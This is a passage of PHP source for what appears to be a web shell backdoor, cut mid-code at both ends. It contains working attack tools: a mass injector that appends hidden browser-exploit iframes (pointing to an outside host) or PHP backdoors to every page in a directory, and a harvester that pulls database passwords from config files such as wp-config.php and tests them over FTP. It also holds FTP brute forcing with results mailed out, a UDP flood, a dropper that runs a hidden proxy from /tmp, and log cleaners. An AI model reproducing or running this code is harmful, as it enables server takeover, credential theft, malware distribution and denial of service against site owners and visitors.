mysql_fetch_array(\$result, MYSQL_NUM)) {echo \"<tr><td>\".\$row[0].\"</td><td>\".\$row[1].\"</td></tr>\";}\r\n echo \"</table></center>\";\r\n mysql_free_result(\$result);\r\n }\r\n if (\$sql_x == \"servervars\") {\r\n \$result = mysql_query(\"SHOW VARIABLES\", \$sql_sock);\r\n echo \"<center><b>Server variables:</b><br><br>\";\r\n echo \"<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>\";\r\n while (\$row = mysql_fetch_array(\$result, MYSQL_NUM)) {echo \"<tr><td>\".\$row[0].\"</td><td>\".\$row[1].\"</td></tr>\";}\r\n echo \"</table>\";\r\n mysql_free_result(\$result);\r\n }\r\n if (\$sql_x == \"processes\") {\r\n if (!empty(\$kill)) {\r\n \$query = \"KILL \".\$kill.\";\";\r\n \$result = mysql_query(\$query, \$sql_sock);\r\n echo \"<b>Process #\".\$kill.\" was killed.</b>\";\r\n }\r\n \$result = mysql_query(\"SHOW PROCESSLIST\", \$sql_sock);\r\n echo \"<center><b>Processes:</b><br><br>\";\r\n echo \"<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>\";\r\n while (\$row = mysql_fetch_array(\$result, MYSQL_NUM)) { echo \"<tr><td>\".\$row[0].\"</td><td>\".\$row[1].\"</td><td>\".\$row[2].\"</td><td>\".\$row[3].\"</td><td>\".\$row[4].\"</td><td>\".\$row[5].\"</td><td>\".\$row[6].\"</td><td>\".\$row[7].\"</td><td><a href=\\\"\".\$sql_surl.\"sql_x=processes&kill=\".\$row[0].\"\\\"><u>Kill</u></a></td></tr>\";}\r\n echo \"</table>\";\r\n mysql_free_result(\$result);\r\n }\r\n if (\$sql_x == \"getfile\")\r\n {\r\n \$tmpdb = \$sql_login.\"_tmpdb\";\r\n \$select = mysql_select_db(\$tmpdb);\r\n if (!\$select) {mysql_create_db(\$tmpdb); \$select = mysql_select_db(\$tmpdb); \$created = !!\$select;}\r\n if (\$select)\r\n {\r\n \$created = FALSE;\r\n mysql_query(\"CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );\");\r\n mysql_query(\"LOAD DATA INFILE \\\"\".addslashes(\$sql_getfile).\"\\\" INTO TABLE tmp_file\");\r\n \$result = mysql_query(\"SELECT * FROM tmp_file;\");\r\n if (!\$result) {echo \"<b>Error in reading file (permision denied)!</b>\";}\r\n else\r\n {\r\n for (\$i=0;\$i<mysql_num_fields(\$result);\$i++) {\$name = mysql_field_name(\$result,\$i);}\r\n \$f = \"\";\r\n while (\$row = mysql_fetch_array(\$result, MYSQL_ASSOC)) {\$f .= join (\"\\r\\n\",\$row);}\r\n if (empty(\$f)) {echo \"<b>File \\\"\".\$sql_getfile.\"\\\" does not exists or empty!</b><br>\";}\r\n else {echo \"<b>File \\\"\".\$sql_getfile.\"\\\":</b><br>\".nl2br(htmlspecialchars(\$f)).\"<br>\";}\r\n mysql_free_result(\$result);\r\n mysql_query(\"DROP TABLE tmp_file;\");\r\n }\r\n }\r\n mysql_drop_db(\$tmpdb); \r\n }\r\n }\r\n }\r\n}\r\necho \"</td></tr></table>\";\r\nif (\$sql_sock) {\r\n \$affected = @mysql_affected_rows(\$sql_sock);\r\n if ((!is_numeric(\$affected)) or (\$affected < 0)){\$affected = 0;}\r\n echo \"<tr><td><center><b>Affected rows : \".\$affected.\"</center></td></tr>\";\r\n}\r\necho \"</table>\";\r\n}\r\n\r\nif (\$x == 'massbrowsersploit') {\r\n?>\r\n\r\n<b>Mass Code Injection:</b><br><br>\r\nUse this to add HTML to the end of every .php, .htm, and .html page in the directory specified.<br><br>\r\n<form action=\"<?php echo \$surl; ?>\" method=GET>\r\n<input type=hidden name=\"masssploit\" value=\"goahead\">\r\n<input type=hidden name=\"act\" value=\"massbrowsersploit\">\r\n<table border=0>\r\n<tr><td>Dir to inject: </td><td><input type=text size=50 name=\"pathtomass\" value=\"<?php echo realpath('.'); ?>\"> <-- default is dir this shell is in</td></tr>\r\n<tr><td>Code to inject: </td><td><textarea name=\"injectthis\" cols=50 rows=4><?php echo htmlspecialchars('<IFRAME src=\"http://www.fx0.name\" width=0 height=0 frameborder=0></IFRAME>'); ?></textarea> <-- best bet would be to include an invisible iframe of browser exploits</td></tr>\r\n\r\n<tr><td><input type=submit value=\"Inject Code\"></td></tr>\r\n</table>\r\n</form>\r\n<?php\r\nif (\$_GET['masssploit'] == 'goahead') {\r\n\tif (is_dir(\$_GET['pathtomass'])) {\r\n\t\t\$lolinject = \$_GET['injectthis'];\r\n\t\tforeach (glob(\$_GET['pathtomass'].\"/*.php\") as \$injectj00) {\r\n\t\t\t\$fp=fopen(\$injectj00,\"a+\");\r\n\t\t\tif (fputs(\$fp,\$lolinject)){\r\n\t\t\t\techo '<font color=green>'.\$injectj00.' was injected<br></font>';\r\n\t\t\t} else {\r\n\t\t\t\techo '<font color=red>failed to inject '.\$injectj00.'</font>';\r\n\t\t\t}\r\n\t\t}\r\n\t\tforeach (glob(\$_GET['pathtomass'].\"/*.htm\") as \$injectj00) {\r\n\t\t\t\$fp=fopen(\$injectj00,\"a+\");\r\n\t\t\tif (fputs(\$fp,\$lolinject)){\r\n\t\t\t\techo \$injectj00.' was injected<br>';\r\n\t\t\t} else {\r\n\t\t\t\techo '<font color=red>failed to inject '.\$injectj00.'</font>';\r\n\t\t\t}\r\n\t\t}\r\n\t\tforeach (glob(\$_GET['pathtomass'].\"/*.html\") as \$injectj00) {\r\n\t\t\t\$fp=fopen(\$injectj00,\"a+\");\r\n\t\t\tif (fputs(\$fp,\$lolinject)){\r\n\t\t\t\techo \$injectj00.' was injected<br>';\r\n\t\t\t} else {\r\n\t\t\t\techo '<font color=red>failed to inject '.\$injectj00.'</font>';\r\n\t\t\t}\r\n\t\t}\r\n\t} else { //end if inputted dir is real -- if not, show an ugly red error\r\n\t\techo '<b><font color=red>'.\$_GET['pathtomass'].' is not available!</font></b>';\r\n\t} // end if inputted dir is real, for real this time\r\n} // end if confirmation to mass sploit is go\r\n\r\n//new php backdoor\r\n?>\r\n<b>Mass Code Injection:</b><br><br>\r\n\r\nUse this to add PHP to the end of every .php page in the directory specified.<br><br>\r\n<form action=\"<?php echo \$surl; ?>\" method=GET>\r\n<input type=hidden name=\"masssploit\" value=\"php\">\r\n<input type=hidden name=\"act\" value=\"massbrowsersploit\">\r\n<table border=0>\r\n<tr><td>Dir to inject: </td><td><input type=text size=50 name=\"pathtomass\" value=\"<?php echo realpath('.'); ?>\"> <-- default is dir this shell is in</td></tr>\r\n<tr><td>Code to inject: </td><td><textarea name=\"injectthis\" cols=50 rows=4><?php echo htmlspecialchars('<?php if (\$_GET[\"x\"] == \"lul\") { /*code*/; } ?>'); ?></textarea></td></tr>\r\n<tr><td><input type=submit value=\"Inject Code\"></td></tr>\r\n</table>\r\n</form>\r\n<?php\r\nif (\$_GET['masssploit'] == 'php') {\r\n\tif (is_dir(\$_GET['pathtomass'])) {\r\n\t\t\$lolinject = \$_GET['injectthis'];\r\n\t\tforeach (glob(\$_GET['pathtomass'].\"/*.php\") as \$injectj00) {\r\n\t\t\t\$fp=fopen(\$injectj00,\"a+\");\r\n\t\t\tif (fputs(\$fp,\$lolinject)){\r\n\t\t\t\techo '<font color=green>'.\$injectj00.' was injected<br></font>';\r\n\t\t\t} else {\r\n\t\t\t\techo '<font color=red>failed to inject '.\$injectj00.'</font>';\r\n\t\t\t}\r\n\t\t}\r\n\t} else { //end if inputted dir is real -- if not, show an ugly red error\r\n\t\techo '<b><font color=red>'.\$_GET['pathtomass'].' is not available!</font></b>';\r\n\t} // end if inputted dir is real, for real this time\r\n} // end if confirmation to mass sploit is php only\r\n\r\n\r\n} // end if massbrowsersploit is called\r\n\r\n\r\n\r\n\r\n\r\nif (\$x == 'cpanel'){\r\n\tif (\$_GET['go'] == 'go'){\r\n\tset_time_limit(0);\r\n\t##################\r\n\t@\$passwd=fopen('/etc/passwd','r');\r\n\tif (!\$passwd) {\r\n\t echo \"[-] Error : coudn't read /etc/passwd\";\r\n\t exit;\r\n\t}\r\n\t\$path_to_public=array();\r\n\t\$users=array();\r\n\t\$pathtoconf=array();\r\n\t\$i=0;\r\n\t\r\n\twhile(!feof(\$passwd)) {\r\n\t \$str=fgets(\$passwd);\r\n\t if (\$i>35) {\r\n\t\t\$pos=strpos(\$str,\":\");\r\n\t\t\$username=substr(\$str,0,\$pos);\r\n\t\t\$dirz=\"/home/\$username/public_html/\";\r\n\t\tif ((\$username!=\"\")) {\r\n\t\t\tif (is_readable(\$dirz)) {\r\n\t\t\t\tarray_push(\$users,\$username);\r\n\t\t\t\tarray_push(\$path_to_public,\$dirz);\r\n\t\t\t}\r\n\t\t}\r\n\t }\r\n\t \$i++;\r\n\t}\r\n\t###################\r\n\t\r\n\t#########################\r\n\tfunction read_dir(\$path,\$username) {\r\n\t\tif (\$handle = opendir(\$path)) {\r\n\t\t\twhile (false !== (\$file = readdir(\$handle))) {\r\n\t\t\t\t \$fpath=\"\$path\$file\";\r\n\t\t\t\t if ((\$file!='.') and (\$file!='..')) {\r\n\t\t\t\t\t if (is_readable(\$fpath)) {\r\n\t\t\t\t\t\t\$dr=\"\$fpath/\";\r\n\t\t\t\t\t\tif (is_dir(\$dr)) {\r\n\t\t\t\t\t\t read_dir(\$dr,\$username);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse {\r\n\t\t\t\t\t\t\t if ((\$file=='config.php') or (\$file=='config.inc.php') or (\$file=='db.inc.php') or (\$file=='connect.php') or (\$file=='wp-config.php') or (\$file=='var.php') or (\$file=='configure.php') or (\$file=='db.php') or (\$file=='db_connect.php')) {\r\n\t\t\t\t\t\t\t\t\$pass=get_pass(\$fpath);\r\n\t\t\t\t\t\t\t\tif (\$pass!='') {\r\n\t\t\t\t\t\t\t\t echo \"[+] \$fpath\\n\$pass\\n\";\r\n\t\t\t\t\t\t\t\t ftp_check(\$username,\$pass);\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t }\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t }\r\n\t\t\t\t }\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\r\n\tfunction get_pass(\$link) {\r\n\t\t@\$config=fopen(\$link,'r');\r\n\t\twhile(!feof(\$config)) {\r\n\t\t\t\$line=fgets(\$config);\r\n\t\t\tif (strstr(\$line,'pass') or strstr(\$line,'password') or strstr(\$line,'passwd')) {\r\n\t\t\t\tif (strrpos(\$line,'\"'))\r\n\t\t\t\t \$pass=substr(\$line,(strpos(\$line,'=')+3),(strrpos(\$line,'\"')-(strpos(\$line,'=')+3)));\r\n\t\t\t\telse\r\n\t\t\t\t \$pass=substr(\$line,(strpos(\$line,'=')+3),(strrpos(\$line,\"'\")-(strpos(\$line,'=')+3)));\r\n\t\t\t\treturn \$pass;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\r\n\tfunction ftp_check(\$login,\$pass) {\r\n\t\t @\$ftp=ftp_connect('127.0.0.1');\r\n\t\t if (\$ftp) {\r\n\t\t\t@\$res=ftp_login(\$ftp,\$login,\$pass);\r\n\t\t\tif (\$res) {\r\n\t\t\t echo '[cPanel Found] '.\$login.':'.\$pass.\" Success\\n\";\r\n\t\t\t}\r\n\t\t\telse ftp_quit(\$ftp);\r\n\t\t }\r\n\t}\r\n\t\r\n\techo \"<br><br>\";\r\n\techo \"<textarea name='main_window' cols=100 rows=20>\";\r\n\t\r\n\techo \"[+] Found \".sizeof(\$users).\" entrys in /etc/passwd\\n\";\r\n\techo \"[+] Found \".sizeof(\$path_to_public).\" readable public_html directories\\n\";\r\n\t\r\n\techo \"[~] Searching for passwords in config.* files...\\n\\n\";\r\n\tforeach (\$users as \$user) {\r\n\t\t\t\$path=\"/home/\$user/public_html/\";\r\n\t\t\tread_dir(\$path,\$user);\r\n\t}\r\n\t\r\n\techo \"\\n[+] Done\\n\";\r\n\t\r\n\techo \"</textarea><br>\";\r\n\t}else\r\n\techo '<center>Are you sure you would like to search for cPanel accounts on this website/server?<br>Please note this may take a long time to execute depending on the website/server it is run on.<br><br><a href=\"'.\$surl.'x=cpanel&go=go\">Yes</a> || <a href=\"'.\$surl.'\">No</a></center>';\r\n}\r\n\r\nif (\$x == 'fi'){\r\n?>\r\n\r\n<b>Install Local RFI/LFI Scanner</b><br>\r\n<form action=<?php echo \$surl; ?> method=GET>\r\n<input type=hidden name=\"x\" value=\"fi\">\r\n<input type=hidden name=\"install\" value=\"yup\">\r\nPath to install in: <input type=text name=\"path\" value=\"<?php echo \$d; ?>\"> (must have final /)<br>\r\n<input type=submit value=\"Install\"></form>\r\n<?php\r\n\t\tif (\$_GET['install'] == 'yup') {\r\n\t\t\tif (is_writable(\$_GET['path'])) {\r\n\t\t\t\tcf(\$_GET['path'].'fi.pl', \$fi);\r\n\t\t\t\techo '<font color=green><b>fi.pl was created in '.htmlentities(\$_GET['path']).'</b></font>';\r\n\t\t\t\tchmod(\$_GET['path'].'/fi.pl', 0777);\r\n\t\t\t\techo '<br />To execute, browse to the directory you installed the scanner in and execute it from there using \\'perl fi.pl\\'';\r\n\t\t\t}else{\r\n\t\t\t\techo '<font color=red><b>Directory is not writable!</b><br></font>';\r\n\t\t\t}\r\n\t\t}\r\n}\r\n\r\nif (\$x == 'phpproxy'){\r\n?>\r\n<b>Install PHP Based Proxy</b><br>\r\n\r\n<form action=<?php echo \$surl; ?> method=GET>\r\n<input type=hidden name=\"x\" value=\"phpproxy\">\r\n<input type=hidden name=\"install\" value=\"yup\">\r\nPath to install in: <input type=text name=\"path\" value=\"<?php echo \$d; ?>\"> (must have final /)<br>\r\n<input type=submit value=\"Install\"></form>\r\n<?php\r\n\t\tif (\$_GET['install'] == 'yup') {\r\n\t\t\tif (is_writable(\$_GET['path'])) {\r\n\t\t\t\tcf(\$_GET['path'].'proxy.php', \$phpproxy);\r\n\t\t\t\techo '<font color=green><b>proxy.php was created in '.htmlentities(\$_GET['path']).'</b></font>';\r\n\t\t\t\tchmod(\$_GET['path'].'/proxy.php', 0777);\r\n\t\t\t}else{\r\n\t\t\t\techo '<font color=red><b>Directory is not writable!</b><br></font>';\r\n\t\t\t}\r\n\t\t}\r\n}\r\n\r\n\r\nif (\$x == 'phptools'){\r\n?><center><?php\r\n//mailer\r\necho '<b>Mailer</b><br>\r\n<form action=\"'.\$surl.'\" method=GET>\r\n<input type=\"hidden\" name=\"act\" value=\"phptools\">\r\n\r\n<input type=text name=to value=to><br>\r\n<input type=text name=from value=from><br>\r\n<input type=text name=subject value=subject><br>\r\n<input type=text name=body value=body><br>\r\n<input type=submit name=submit value=Submit></form>';\r\nif (isset(\$_GET['to']) && isset(\$_GET['from']) && isset(\$_GET['subject']) && isset(\$_GET['body'])) {\r\n\t\$headers = 'From: '.\$_GET['from'];\r\n\tmail (\$_GET['to'],\$_GET['subject'],\$_GET['body'],\$headers);\r\n\techo 'Email sent.';\r\n}\r\n\r\n//port scanner\r\necho '<br><b>Port Scanner</b><br>';\r\n\$start = strip_tags(\$_GET['start']);\r\n\$end = strip_tags(\$_GET['end']);\r\n\$host = strip_tags(\$_GET['host']);\r\n\r\nif(isset(\$_GET['host']) && is_numeric(\$_GET['end']) && is_numeric(\$_GET['start'])){\r\nfor(\$i = \$start; \$i<=\$end; \$i++){\r\n\t\$fp = @fsockopen(\$host, \$i, \$errno, \$errstr, 3);\r\n\tif(\$fp){\r\n\t\techo 'Port '.\$i.' is <font color=green>open</font><br>';\r\n\t}\r\n\tflush();\r\n\t}\r\n}else{\r\n?>\r\n\r\n<form action=\"\" method=\"get\">\r\n<input type=\"hidden\" name=\"x\" value=\"phptools\">\r\nHost:<br />\r\n<input type=\"text\" name=\"host\" value=\"localhost\"/><br />\r\nPort start:<br />\r\n<input type=\"text\" name=\"start\" value=\"0\"/><br />\r\nPort end:<br />\r\n<input type=\"text\" name=\"end\" value=\"5000\"/><br />\r\n<input type=\"submit\" value=\"Scan Ports\" />\r\n</form>\r\n<?php\r\n}\r\n\r\n//UDP\r\nif(isset(\$_GET['host'])&&is_numeric(\$_GET['time'])){\r\n\t\$pakits = 0;\r\n\tignore_user_abort(TRUE);\r\n\tset_time_limit(0);\r\n\t\r\n\t\$exec_time = \$_GET['time'];\r\n\t\r\n\t\$time = time();\r\n\t//print \"Started: \".time('h:i:s').\"<br>\";\r\n\t\$max_time = \$time+\$exec_time;\r\n\r\n\t\$host = \$_GET['host'];\r\n\t\r\n\tfor(\$i=0;\$i<65000;\$i++){\r\n\t\t\t\$out .= 'X';\r\n\t}\r\n\twhile(1){\r\n\t\$pakits++;\r\n\t\t\tif(time() > \$max_time){\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\t\$rand = rand(1,65000);\r\n\t\t\t\$fp = fsockopen('udp://'.\$host, \$rand, \$errno, \$errstr, 5);\r\n\t\t\tif(\$fp){\r\n\t\t\t\t\tfwrite(\$fp, \$out);\r\n\t\t\t\t\tfclose(\$fp);\r\n\t\t\t}\r\n\t}\r\n\techo \"<br><b>UDP Flood</b><br>Completed with \$pakits (\" . round((\$pakits*65)/1024, 2) . \" MB) packets averaging \". round(\$pakits/\$exec_time, 2) . \" packets per second \\n\";\r\n\techo '<br><br>\r\n\r\n\t\t<form action=\"'.\$surl.'\" method=GET>\r\n\t\t<input type=\"hidden\" name=\"x\" value=\"phptools\">\r\n\t\tHost: <input type=text name=host value=localhost>\r\n\t\tLength (seconds): <input type=text name=time value=9999>\r\n\t\t<input type=submit value=Go></form>';\r\n}else{ echo '<br><b>UDP Flood</b><br>\r\n\t\t\t<form action=? method=GET>\r\n\t\t\t<input type=\"hidden\" name=\"x\" value=\"phptools\">\r\n\r\n\t\t\tHost: <br><input type=text name=host value=localhost><br>\r\n\t\t\tLength (seconds): <br><input type=text name=time value=9999><br>\r\n\t\t\t<input type=submit value=Go></form>';\r\n}\r\n?></center><?php\r\n}\r\n\r\n\r\n\r\nif (\$x == \"ftpquickbrute\") {\r\necho \"<center><table><tr><td class=barheader colspan=2>\";\r\necho \".: Ftp Quick Brute :.</td></tr>\";\r\necho \"<tr><td>\";\r\nif (\$win) {echo \"Couldn't run on Windows!\";}\r\nelse {\r\n function caftpbrutecheck(\$host,\$port,\$timeout,\$login,\$pass,\$sh,\$fqb_onlywithsh) {\r\n if (\$fqb_onlywithsh) {\$TRUE = (!in_array(\$sh,array(\"/bin/FALSE\",\"/sbin/nologin\")));}\r\n else {\$TRUE = TRUE;}\r\n if (\$TRUE) {\r\n \$sock = @ftp_connect(\$host,\$port,\$timeout);\r\n if (@ftp_login(\$sock,\$login,\$pass)) {\r\n echo \"<a href=\\\"ftp://\".\$login.\":\".\$pass.\"@\".\$host.\"\\\" target=\\\"_blank\\\"><b>Connected to \".\$host.\" with login \\\"\".\$login.\"\\\" and password \\\"\".\$pass.\"\\\"</b></a>.<br>\";\r\n ob_flush();\r\n return TRUE;\r\n }\r\n }\r\n }\r\n if (!empty(\$submit)) {\r\n if (!is_numeric(\$fqb_lenght)) {\$fqb_lenght = \$nixpwdperpage;}\r\n \$fp = fopen(\"/etc/passwd\",\"r\");\r\n if (!\$fp) {echo \"Can't get /etc/passwd for password-list.\";}\r\n else {\r\n if (\$fqb_logging) {\r\n if (\$fqb_logfile) {\$fqb_logfp = fopen(\$fqb_logfile,\"w\");}\r\n else {\$fqb_logfp = FALSE;}\r\n \$fqb_log = \"FTP Quick Brute (fx0) started at \".date(\"d.m.Y H:i:s\").\"\\r\\n\\r\\n\";\r\n if (\$fqb_logfile) {fwrite(\$fqb_logfp,\$fqb_log,strlen(\$fqb_log));}\r\n }\r\n ob_flush();\r\n \$i = \$success = 0;\r\n \$ftpquick_st = getmicrotime();\r\n while(!feof(\$fp)) {\r\n \$str = explode(\":\",fgets(\$fp,2048));\r\n if (caftpbrutecheck(\"localhost\",21,1,\$str[0],\$str[0],\$str[6],\$fqb_onlywithsh)) {\r\n echo \"<b>Connected to \".getenv(\"SERVER_NAME\").\" with login \\\"\".\$str[0].\"\\\" and password \\\"\".\$str[0].\"\\\"</b><br>\";\r\n \$fqb_log .= \"Connected to \".getenv(\"SERVER_NAME\").\" with login \\\"\".\$str[0].\"\\\" and password \\\"\".\$str[0].\"\\\", at \".date(\"d.m.Y H:i:s\").\"\\r\\n\";\r\n if (\$fqb_logfp) {fseek(\$fqb_logfp,0); fwrite(\$fqb_logfp,\$fqb_log,strlen(\$fqb_log));}\r\n \$success++;\r\n ob_flush();\r\n }\r\n if (\$i > \$fqb_lenght) {break;}\r\n \$i++;\r\n }\r\n if (\$success == 0) {echo \"No success. connections!\"; \$fqb_log .= \"No success. connections!\\r\\n\";}\r\n \$ftpquick_t = round(getmicrotime()-\$ftpquick_st,4);\r\n echo \"<hr size=\\\"1\\\" noshade><b>Done!</b><br>Total time (secs.): \".\$ftpquick_t.\"<br>Total connections: \".\$i.\"<br>Success.: <font color=green><b>\".\$success.\"</b></font><br>Unsuccess.:\".(\$i-\$success).\"</b><br>Connects per second: \".round(\$i/\$ftpquick_t,2).\"<br>\";\r\n \$fqb_log .= \"\\r\\n------------------------------------------\\r\\nDone!\\r\\nTotal time (secs.): \".\$ftpquick_t.\"\\r\\nTotal connections: \".\$i.\"\\r\\nSuccess.: \".\$success.\"\\r\\nUnsuccess.:\".(\$i-\$success).\"\\r\\nConnects per second: \".round(\$i/\$ftpquick_t,2).\"\\r\\n\";\r\n if (\$fqb_logfp) {fseek(\$fqb_logfp,0); fwrite(\$fqb_logfp,\$fqb_log,strlen(\$fqb_log));}\r\n if (\$fqb_logemail) {@mail(\$fqb_logemail,\"fx0 report\",\$fqb_log);}\r\n fclose(\$fqb_logfp);\r\n }\r\n }\r\n else {\r\n \$logfile = \$tmpdir_logs.\"ca_ftpquickbrute_\".date(\"d.m.Y_H_i_s\").\".log\";\r\n \$logfile = str_replace(\"//\",DIRECTORY_SEPARATOR,\$logfile);\r\n echo \"<form action=\\\"\".\$surl.\"\\\"><input type=hidden name=x value=\\\"ftpquickbrute\\\">\".\r\n \"Read first:</td><td><input type=text name=\\\"fqb_lenght\\\" value=\\\"\".\$nixpwdperpage.\"\\\"></td></tr>\".\r\n \"<tr><td></td><td><input type=\\\"checkbox\\\" name=\\\"fqb_onlywithsh\\\" value=\\\"1\\\"> Users only with shell</td></tr>\".\r\n \"<tr><td></td><td><input type=\\\"checkbox\\\" name=\\\"fqb_logging\\\" value=\\\"1\\\" checked>Logging</td></tr>\".\r\n \"<tr><td>Logging to file:</td><td><input type=\\\"text\\\" name=\\\"fqb_logfile\\\" value=\\\"\".\$logfile.\"\\\" size=\\\"\".(strlen(\$logfile)+2*(strlen(\$logfile)/10)).\"\\\"></td></tr>\".\r\n \"<tr><td>Logging to e-mail:</td><td><input type=\\\"text\\\" name=\\\"fqb_logemail\\\" value=\\\"\".\$log_email.\"\\\" size=\\\"\".(strlen(\$logemail)+2*(strlen(\$logemail)/10)).\"\\\"></td></tr>\".\r\n \"<tr><td colspan=2><input type=submit name=submit value=\\\"Brute\\\"></form>\";\r\n }\r\n echo \"</td></tr></table></center>\";\r\n}\r\n}\r\nif (\$x == \"d\") {\r\nif (!is_dir(\$d)) { echo \"<center><b>\$d is a not a Directory!</b></center>\"; }\r\nelse {\r\n echo \"<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>\";\r\n if (!\$win) {\r\n echo \"<tr><td><b>Owner/Group</b></td><td> \";\r\n \$ow = posix_getpwuid(fileowner(\$d));\r\n \$gr = posix_getgrgid(filegroup(\$d));\r\n \$row[] = (\$ow[\"name\"]?\$ow[\"name\"]:fileowner(\$d)).\"/\".(\$gr[\"name\"]?\$gr[\"name\"]:filegroup(\$d));\r\n }\r\n echo \"<tr><td><b>Perms</b></td><td><a href=\\\"\".\$surl.\"x=chmod&d=\".urlencode(\$d).\"\\\"><b>\".view_perms_color(\$d).\"</b></a><tr><td><b>Create time</b></td><td> \".date(\"d/m/Y H:i:s\",filectime(\$d)).\"</td></tr><tr><td><b>Access time</b></td><td> \".date(\"d/m/Y H:i:s\",fileatime(\$d)).\"</td></tr><tr><td><b>MODIFY time</b></td><td> \".date(\"d/m/Y H:i:s\",filemtime(\$d)).\"</td></tr></table>\";\r\n}\r\n}\r\n\r\n\r\n\r\nif (\$x == 'proxy') {\r\n if (\$_GET['ipisk'] == 'yup') {\r\n cf(\"/tmp/hantu.tgz\",\$proxy_shit);\r\n ex(\"cd /tmp;tar -zxvf hantu.tgz\");\r\n ex(\"cd /tmp;cd .setan;chmod 777 xh\");\r\n ex(\"cd /tmp;cd .setan;chmod 777 httpd\");\r\n ex(\"cd /tmp;cd .setan;./xh -s [kmod] ./httpd start\");\r\n checkproxyhost();\r\n \$msg = \$_POST['proxyhostmsg'];\r\n echo(\"\$msg\");\r\n unlink(\"/tmp/hantu.tgz\");\r\n ex(\"cd /tmp; rm -r .setan\");\r\n }else\r\n echo '<center>Are you sure you want to install an IP:Port proxy on this website/server?<br />Please note, some servers with firewalls or other security features may not be compatible with this, even if the proxy appears to be installed.<br /><br /><b><font color=green><a href=\"'.\$surl.'&x=proxy&ipisk=yup\">Yes</a></font></b> || <b><font color=red><a href=\"'.\$surl.'\">No</a></font></b></center>';\r\n}\r\n\r\n\r\n\r\nif (\$x == 'findwr') {\r\n\r\n\$count=0;\r\nset_time_limit(0);\r\n@\$passwd=fopen('/etc/passwd','r');\r\nif (!\$passwd) {\r\n echo \"[-] No Access to /etc/passwd\\n\\r\";\r\n exit;\r\n}\r\n\$path_to_public=array();\r\n\r\necho \"<html>\\n\\r\";\r\n\r\nwhile(!feof(\$passwd)) {\r\n \$str=fgets(\$passwd);\r\n \$pos=strpos(\$str,\":\");\r\n \$username=substr(\$str,0,\$pos);\r\n \$dirz=\"/home/\$username/public_html/\";\r\n if ((\$username!=\"\")) {\r\n if (is_readable(\$dirz)) {\r\n array_push(\$path_to_public,\$dirz);\r\n if (is_writeable(\$dirz)) {\r\n \$count++;\r\n echo \"<font color=red>[</font><font color=white>R</font><font color=green>W</font><font color=red>]</font> \" . \$dirz . \"<br>\\n\\r\";\r\n }\r\n else echo \"<font color=red>[</font><font color=white>R</font><font color=red>]</font> \" . \$dirz . \"<br>\\n\\r\";\r\n }\r\n }\r\n}\r\necho \"[+] Found \" . sizeof(\$path_to_public) . \" readable public_html directories.<br><br>\\n\\r\\n\\r\";\r\n\r\nif (sizeof(\$path_to_public) != '0') {\r\n foreach (\$path_to_public as \$path) {\r\n read_dir(\$path);\r\n }\r\n \r\n echo \"[+] Found \" . \$count . \" writable directories.\\n\\r\";\r\n echo \"</html>\";\r\n}\r\n\r\nfunction read_dir(\$path) {\r\n global \$count;\r\n if (\$handle = opendir(\$path)) {\r\n while (false !== (\$file = readdir(\$handle))) {\r\n \$dr=\"\$path\$file/\";\r\n if ((\$file!='.') and (\$file!='..') and is_dir(\$dr)) {\r\n if (is_readable(\$dr) and is_writeable(\$dr)) {\r\n echo \"[RW] \" . \$dr . \"<br>\\n\\r\";\r\n \$count++;\r\n }\r\n read_dir(\$dr);\r\n }\r\n }\r\n }\r\n}\r\n\r\n\r\n\r\n}\r\n\r\n\r\nif (\$act == 'zap2') { // *nix cleaner\r\n\tif (is_writable('.')) {\r\n\t\tcf(\$act, \$\$act); // 'tis pure innovation of optimization :)\r\n\t\tchmod(\$act, 0777);\r\n\t\t\$cmd = './'.\$act; // keep this before \$act = 'cmd';\r\n\t\t\$act = 'cmd';\r\n\t\t\$cmd_txt = '1';\r\n\t}else{\r\n\t\techo 'Directory Is Not Writable!<br>';\r\n\t}\r\n}\r\nif (\$act == 'clearlogs') { // windows cleaners\r\n\tif (is_writable('.')) {\r\n\t\tcf(\$act.'.exe', \$\$act);\r\n\t\tchmod(\$act.'.exe', 0777);\r\n\t\t\$cmd = \$act.'.exe';\r\n\t\t\$act = 'cmd';\r\n\t\t\$cmd_txt = '1';\r\n\t}else{\r\n\t\techo 'Directory Is Not Writable!<br>';\r\n\t}\r\n}\r\n\r\nif (\$x == \"phpinfo\") {@ob_clean(); phpinfo(); capriv8exit();}\r\nif (\$x == \"security\") {\r\n echo \"<div class=barheader>.: Server Security Information :.</div>\".\r\n \"<table>\".\r\n \"<tr><td>Open Base Dir</td><td>\".\$hopenbasedir.\"</td></tr>\";\r\n echo \"<td>Password File</td><td>\";\r\n if (!\$win) {\r\n if (\$nixpasswd) {\r\n if (\$nixpasswd == 1) {\$nixpasswd = 0;}\r\n echo \"*nix /etc/passwd:<br>\";\r\n if (!is_numeric(\$nixpwd_s)) {\$nixpwd_s = 0;}\r\n if (!is_numeric(\$nixpwd_e)) {\$nixpwd_e = \$nixpwdperpage;}\r\n echo \"<form action=\\\"\".\$surl.\"\\\"><input type=hidden name=x value=\\\"security\\\"><input type=hidden name=\\\"nixpasswd\\\" value=\\\"1\\\"><b>From:</b> <input type=\\\"text=\\\" name=\\\"nixpwd_s\\\" value=\\\"\".\$nixpwd_s.\"\\\"> <b>To:</b> <input type=\\\"text\\\" name=\\\"nixpwd_e\\\" value=\\\"\".\$nixpwd_e.\"\\\"> <input type=submit value=\\\"View\\\"></form><br>\";\r\n \$i = \$nixpwd_s;\r\n while (\$i < \$nixpwd_e) {\r\n \$uid = posix_getpwuid(\$i);\r\n if (\$uid) {\r\n \$uid[\"dir\"] = \"<a 